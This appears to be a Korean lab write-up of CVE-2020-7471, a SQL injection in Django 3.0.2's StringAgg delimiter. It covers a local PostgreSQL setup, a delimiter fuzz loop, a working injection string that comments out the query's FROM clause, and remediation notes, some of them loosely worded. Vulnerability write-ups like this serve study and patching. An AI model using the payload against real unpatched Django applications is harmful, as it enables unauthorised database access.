반응형
CVE-2020-7471
1. 환경 구성
- Ubuntu 20.04 버전
- Django 3.0.2 설치
- pip install django~=3.0.2
- postgresql 13 설치
- sudo apt-get update
- sudo apt show postgresql
- sudo apt -y install postgresql postgresql-contrib
- /etc/init.d/postgresql start
- 가상환경 구성
- virtualenv newenv
- source newenv/bin/activate
- pip install django~=3.0.2
- django-admin --version
- deactivate
- psycopg2 설치
- pip install psycopg2==2.8.6
- setting.py 설정
#setting.py
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'hxd',
'USER': 'postgres',
'PASSWORD': '123456',
'HOST': '127.0.0.1',
'PORT': '5432',
}
}
- 마이그레이션
#DB에 적용하는 과정
python3 manage.py migrate
#test_app 앱을 테이블 스키마를 생성 혹은 수정하기 위한 명령어
python3 manage.py makemigrations test_app
#test_app 앱을 DB에 적용하는 과정
python3 manage.py migrate test_app
- DB 생성
- CREATE DATABASES test
- DB 조회: \c test
- 테이블 조회: \d
- 컬럼 조회: select * from vul_app_info;
![Untitled](https://user-images.githubusercontent.com/89399749/130726521-f428a240-12d5-401e-aec5-cccfd4b357f5.png)
2. PoC
내부 파이썬 환경에서만 테스트
- 구분 기호가 SQL 인젝션을 일으키는 방법을 테스트하기 위한 FUZZ 프로그램
for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
for e in results:
pass
- 정상적인 SQL 구문 출력
Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-"))
- SQL Injection 구문
Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 --"))
- python CVE-2020-7471.py
3. 대응방안
- 테스트결과 작은따음표가 이스케이프 없이 SQL 문에 포함되어 오류 메시지를 출력
- self.cursor.execute를 호출하며 변수 창의 SQL 변수가 아직 delimiter 값을 포함하지 않음을 확인
- 86행에 SQL이 delimiter 값을 작음따음표로 추가한것을 확인
- 작음따음표 와 괄호 닫기를 사용하여 FROM문이 주석처리됨을 확인
- delimiter_expr = Value(str(delimiter))
- 해당 문장을 추가하여 SQL 매개변수가 이스케이프 되지않도록 조치해야함
4. 참조
반응형